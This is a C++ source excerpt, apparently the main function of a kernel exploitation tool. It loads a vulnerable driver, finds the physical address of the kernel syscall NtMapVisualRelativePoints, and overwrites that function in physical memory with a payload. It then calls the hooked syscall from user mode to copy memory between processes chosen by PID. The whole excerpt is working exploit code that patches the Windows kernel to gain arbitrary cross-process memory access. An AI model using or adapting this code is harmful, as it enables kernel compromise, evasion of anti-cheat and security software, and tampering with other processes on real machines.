Function main

core.cpp:58–108

}

int main( )
{
	{
		// establish a handle to the vulnerable driver, and wrap it using unique_ptr to close the handle when the scope dies
		std::unique_ptr< std::remove_pointer_t< HANDLE >, decltype( &vdm::unload_drv ) > driver{ vdm::load_drv( ), &vdm::unload_drv };

		// the actual vdm instance
		vdm::vdm_ctx vdm{};

		// the function that will be overwritten
		const auto function = get_w32_export( "NtMapVisualRelativePoints" );

		// obtain the physical address of the function
		using mm_get_physical_address_t = PHYSICAL_ADDRESS( * )( void* );
		const auto physical_address = vdm.syscall< mm_get_physical_address_t >( get_ntk_export( "MmGetPhysicalAddress" ), function );

		// map the function
		vdm::write_phys( reinterpret_cast< void* >( physical_address.QuadPart ), &mapped, 0x1D1 );
	}

	// load user32
	std::unique_ptr< std::remove_pointer_t< HMODULE >, decltype( &FreeLibrary ) > user32{ LoadLibraryA( "user32.dll" ), &FreeLibrary };

	// load win32u
	std::unique_ptr< std::remove_pointer_t< HMODULE >, decltype( &FreeLibrary ) > win32u{ LoadLibraryA( "win32u.dll" ), &FreeLibrary };

	const auto function = GetProcAddress( win32u.get( ), "NtMapVisualRelativePoints" );

	// test variables
	auto test_variable_one = 0xDEAD;
	auto test_variable_two = 0xBEEF;

	// initialize the data structure
	data_t data
	{
		.from_pid = GetCurrentProcessId( ),
		.to_pid = GetCurrentProcessId( ),

		.from_address = &test_variable_one,
		.to_address = &test_variable_two,
		
		.size = sizeof( int )
	};
	
	// test the function
	std::printf( "[+] before: %0X\n", test_variable_two );
	std::printf( "[+] result: %i\n", reinterpret_cast< decltype( &mapped ) >( function )( data ) );
	std::printf( "[+] after: %0X\n", test_variable_two );

	return std::getchar( );
}